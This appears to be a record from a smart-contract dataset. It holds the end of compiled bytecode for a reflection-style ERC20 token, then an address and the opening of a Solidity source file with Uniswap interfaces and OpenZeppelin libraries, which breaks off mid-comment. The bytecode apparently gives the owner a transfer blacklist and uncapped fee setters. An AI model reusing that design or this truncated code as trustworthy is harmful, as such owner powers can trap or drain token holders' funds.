6020016102ac565b50505050905090810190601f1680156102f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61032b6004803603604081101561031557600080fd5b506001600160a01b038135169060200135610882565b604080519115158252519081900360200190f35b6103476108a0565b604080516001600160a01b039092168252519081900360200190f35b61036b6108af565b60408051918252519081900360200190f35b61036b6108b5565b61036b6108bb565b61036b6108c1565b61032b600480360360608110156103ab57600080fd5b506001600160a01b038135811691602081013590911690604001356108c7565b610280600480360360208110156103e157600080fd5b50356001600160a01b031661094e565b61036b6004803603602081101561040757600080fd5b50356109c7565b610347610a29565b61041e610a38565b6040805160ff9092168252519081900360200190f35b61032b6004803603604081101561044a57600080fd5b506001600160a01b038135169060200135610a41565b61036b610a8f565b6102806004803603602081101561047e57600080fd5b5035610a95565b6102806004803603602081101561049b57600080fd5b5035610af2565b61036b610bca565b61036b610bd0565b610347610bd6565b61036b600480360360408110156104d057600080fd5b50803590602001351515610be5565b610280600480360360208110156104f557600080fd5b5035610c75565b6102806004803603602081101561051257600080fd5b5035610cd2565b61036b6004803603602081101561052f57600080fd5b50356001600160a01b0316610d2f565b610280610d91565b610347610e33565b61028a610e42565b610347610ea3565b6102806004803603602081101561057557600080fd5b5035610eb2565b61032b6004803603604081101561059257600080fd5b506001600160a01b038135169060200135610f0f565b610280600480360360208110156105be57600080fd5b5035610f77565b61032b600480360360408110156105db57600080fd5b506001600160a01b038135169060200135610fd4565b61036b610fe8565b6102806004803603602081101561060f57600080fd5b81019060208101813564010000000081111561062a57600080fd5b82018360208201111561063c57600080fd5b8035906020019184602083028401116401000000008311171561065e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fee945050505050565b61036b6110a2565b61032b600480360360208110156106ba57600080fd5b50356001600160a01b03166110a8565b61036b600480360360408110156106e057600080fd5b506001600160a01b03813581169160200135166110c6565b6102806004803603602081101561070e57600080fd5b50356001600160a01b03166110f1565b6102806004803603602081101561073457600080fd5b50356001600160a01b03166112d3565b61036b6113cb565b6102806004803603602081101561076257600080fd5b50356001600160a01b03166113d1565b6102806004803603602081101561078857600080fd5b503561158e565b6107976115eb565b6000546001600160a01b039081169116146107e7576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601755565b600f8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108785780601f1061084d57610100808354040283529160200191610878565b820191906000526020600020905b81548152906001019060200180831161085b57829003601f168201915b5050505050905090565b600061089661088f6115eb565b84846115ef565b5060015b92915050565b6008546001600160a01b031681565b600d5490565b60175481565b600b5490565b60165481565b60006108d48484846116db565b610944846108e06115eb565b61093f85604051806060016040528060288152602001612594602891396001600160a01b038a1660009081526003602052604081209061091e6115eb565b6001600160a01b0316815260208101919091526040016000205491906119f0565b6115ef565b5060019392505050565b6109566115eb565b6000546001600160a01b039081169116146109a6576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000600c54821115610a0a5760405162461bcd60e51b815260040180806020018281038252602a8152602001806124d9602a913960400191505060405180910390fd5b6000610a14611a87565b9050610a208382611aaa565b9150505b919050565b600a546001600160a01b031681565b60115460ff1690565b6000610896610a4e6115eb565b8461093f8560036000610a5f6115eb565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611af3565b60125481565b610a9d6115eb565b6000546001600160a01b03908116911614610aed576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601355565b6000610afc6115eb565b6001600160a01b03811660009081526004602052604090205490915060ff1615610b575760405162461bcd60e51b815260040180806020018281038252602c815260200180612670602c913960400191505060405180910390fd5b6000610b6283611b4d565b505050506001600160a01b038316600090815260016020526040902054909150610b8c9082611ba1565b6001600160a01b038316600090815260016020526040902055600c54610bb29082611ba1565b600c55600d54610bc29084611af3565b600d55505050565b600e5490565b60145481565b6007546001600160a01b031681565b6000600b54831115610c3e576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610c5c576000610c4e84611b4d565b5092945061089a9350505050565b6000610c6784611b4d565b5091945061089a9350505050565b610c7d6115eb565b6000546001600160a01b03908116911614610ccd576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601255565b610cda6115eb565b6000546001600160a01b03908116911614610d2a576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601555565b6001600160a01b03811660009081526004602052604081205460ff1615610d6f57506001600160a01b038116600090815260026020526040902054610a24565b6001600160a01b03821660009081526001602052604090205461089a906109c7565b610d996115eb565b6000546001600160a01b03908116911614610de9576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60108054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108785780601f1061084d57610100808354040283529160200191610878565b6009546001600160a01b031681565b610eba6115eb565b6000546001600160a01b03908116911614610f0a576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601455565b6000610896610f1c6115eb565b8461093f8560405180606001604052806025815260200161269c6025913960036000610f466115eb565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906119f0565b610f7f6115eb565b6000546001600160a01b03908116911614610fcf576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601655565b6000610896610fe16115eb565b84846116db565b60155481565b610ff66115eb565b6000546001600160a01b03908116911614611046576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b60005b815181101561109e5760016006600084848151811061106457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611049565b5050565b60135481565b6001600160a01b031660009081526004602052604090205460ff1690565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6110f96115eb565b6000546001600160a01b03908116911614611149576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156111a55760405162461bcd60e51b815260040180806020018281038252602281526020018061264e6022913960400191505060405180910390fd5b6001600160a01b03811660009081526004602052604090205460ff1615611213576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b0381166000908152600160205260409020541561126d576001600160a01b038116600090815260016020526040902054611253906109c7565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b6112db6115eb565b6000546001600160a01b0390811691161461132b576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b6001600160a01b0381166113705760405162461bcd60e51b81526004018080602001828103825260268152602001806125036026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60185481565b6113d96115eb565b6000546001600160a01b03908116911614611429576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205460ff16611496576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b60055481101561109e57816001600160a01b0316600582815481106114ba57fe5b6000918252602090912001546001600160a01b03161415611586576005805460001981019081106114e757fe5b600091825260209091200154600580546001600160a01b03909216918390811061150d57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff19169055600580548061155f57fe5b600082815260209020810160001990810180546001600160a01b031916905501905561109e565b600101611499565b6115966115eb565b6000546001600160a01b039081169116146115e6576040805162461bcd60e51b815260206004820181905260248201526000805160206125bc833981519152604482015290519081900360640190fd5b601855565b3390565b6001600160a01b0383166116345760405162461bcd60e51b815260040180806020018281038252602481526020018061262a6024913960400191505060405180910390fd5b6001600160a01b0382166116795760405162461bcd60e51b81526004018080602001828103825260228152602001806125296022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166117205760405162461bcd60e51b81526004018080602001828103825260258152602001806126056025913960400191505060405180910390fd5b6001600160a01b0382166117655760405162461bcd60e51b81526004018080602001828103825260238152602001806124b66023913960400191505060405180910390fd5b600081116117a45760405162461bcd60e51b81526004018080602001828103825260298152602001806125dc6029913960400191505060405180910390fd5b6001600160a01b03831660009081526006602052604090205460ff161580156117e657506001600160a01b03821660009081526006602052604090205460ff16155b6117ef57600080fd5b6117f7610e33565b6001600160a01b0316836001600160a01b031614158015611831575061181b610e33565b6001600160a01b0316826001600160a01b031614155b15611897576118596103e8611853600b54601854611be390919063ffffffff16565b90611aaa565b8111156118975760405162461bcd60e51b815260040180806020018281038252602881526020018061254b6028913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205460ff1680156118d857506001600160a01b03821660009081526004602052604090205460ff16155b156118ed576118e8838383611c3c565b6119eb565b6001600160a01b03831660009081526004602052604090205460ff1615801561192e57506001600160a01b03821660009081526004602052604090205460ff165b1561193e576118e8838383611d5c565b6001600160a01b03831660009081526004602052604090205460ff1615801561198057506001600160a01b03821660009081526004602052604090205460ff16155b15611990576118e8838383611e02565b6001600160a01b03831660009081526004602052604090205460ff1680156119d057506001600160a01b03821660009081526004602052604090205460ff165b156119e0576118e8838383611e43565b6119eb838383611e02565b505050565b60008184841115611a7f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a44578181015183820152602001611a2c565b50505050905090810190601f168015611a715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611a94611eb3565b9092509050611aa38282611aaa565b9250505090565b6000611aec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612016565b9392505050565b600082820183811015611aec576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600080600080600080600080611b658960125461207b565b9250925092506000611b75611a87565b90506000806000611b888d8787876120f8565b919f909e50909c50969a50949850949650505050505050565b6000611aec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119f0565b600082611bf25750600061089a565b82820282848281611bff57fe5b0414611aec5760405162461bcd60e51b81526004018080602001828103825260218152602001806125736021913960400191505060405180910390fd5b6000806000806000611c4d86611b4d565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611c7d9087611ba1565b6001600160a01b038916600090815260026020908152604080832093909355600190522054611cac9086611ba1565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611cdb9085611af3565b6001600160a01b038816600090815260016020526040902055611cfd86612148565b611d078382612491565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000611d6d86611b4d565b6001600160a01b038d1660009081526001602052604090205494995092975090955093509150611d9d9086611ba1565b6001600160a01b03808a16600090815260016020908152604080832094909455918a16815260029091522054611dd39083611af3565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611cdb9085611af3565b6000806000806000611e1386611b4d565b6001600160a01b038d1660009081526001602052604090205494995092975090955093509150611cac9086611ba1565b6000806000806000611e5486611b4d565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150611e849087611ba1565b6001600160a01b038916600090815260026020908152604080832093909355600190522054611d9d9086611ba1565b600c54600b546000918291825b600554811015611fe457826001600060058481548110611edc57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f415750816002600060058481548110611f1a57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f5857600c54600b5494509450505050612012565b611f986001600060058481548110611f6c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611ba1565b9250611fda6002600060058481548110611fae57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611ba1565b9150600101611ec0565b50600b54600c54611ff491611aaa565b82101561200c57600c54600b54935093505050612012565b90925090505b9091565b600081836120655760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a44578181015183820152602001611a2c565b50600083858161207157fe5b0495945050505050565b600080808061208f60646118538888611be3565b905060006120d160646118536120ca6017546120c46016546120c46015546120c4601454601354611af390919063ffffffff16565b90611af3565b8a90611be3565b905060006120e9826120e38a86611ba1565b90611ba1565b95509193509150509250925092565b60008080806121078886611be3565b905060006121158887611be3565b905060006121238888611be3565b90506000612135826120e38686611ba1565b939b939a50919850919650505050505050565b6000612152611a87565b90506000612170606461185360145486611be390919063ffffffff16565b9050600061218e606461185360155487611be390919063ffffffff16565b905060006121ac606461185360165488611be390919063ffffffff16565b905060006121ca606461185360175489611be390919063ffffffff16565b905060006121d88587611be3565b905060006121e68588611be3565b905060006121f48589611be3565b90506000612202858a611be3565b6007546001600160a01b031660009081526001602052604090205490915061222a9085611af3565b600780546001600160a01b03908116600090815260016020908152604080832095909555925490911681526004909152205460ff16156122a5576007546001600160a01b03166000908152600260205260409020546122899089611af3565b6007546001600160a01b03166000908152600260205260409020555b6008546001600160a01b03166000908152600160205260409020546122ca9084611af3565b600880546001600160a01b03908116600090815260016020908152604080832095909555925490911681526004909152205460ff1615612345576008546001600160a01b03166000908152600260205260409020546123299088611af3565b6008546001600160a01b03166000908152600260205260409020555b6009546001600160a01b031660009081526001602052604090205461236a9083611af3565b600980546001600160a01b03908116600090815260016020908152604080832095909555925490911681526004909152205460ff16156123e5576009546001600160a01b03166000908152600260205260409020546123c99087611af3565b6009546001600160a01b03166000908152600260205260409020555b600a546001600160a01b031660009081526001602052604090205461240a9082611af3565b600a80546001600160a01b03908116600090815260016020908152604080832095909555925490911681526004909152205460ff161561248557600a546001600160a01b03166000908152600260205260409020546124699086611af3565b600a546001600160a01b03166000908152600260205260409020555b50505050505050505050565b600c5461249e9083611ba1565b600c55600d546124ae9082611af3565b600d55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cbaa03367c9de9a32cf8752c0edc1ffb1a9293ae64dc975c236e60ef0dc4238a64736f6c634300060c0033
[ 0, 4 ]
0xf2eefca91a179c5Eb38CaA0Ea2BCB79ad1E46A79
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: IUniswapRouter interface IUniswapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts); } // Part: IUniswapV2Factory interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/ERC20 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. 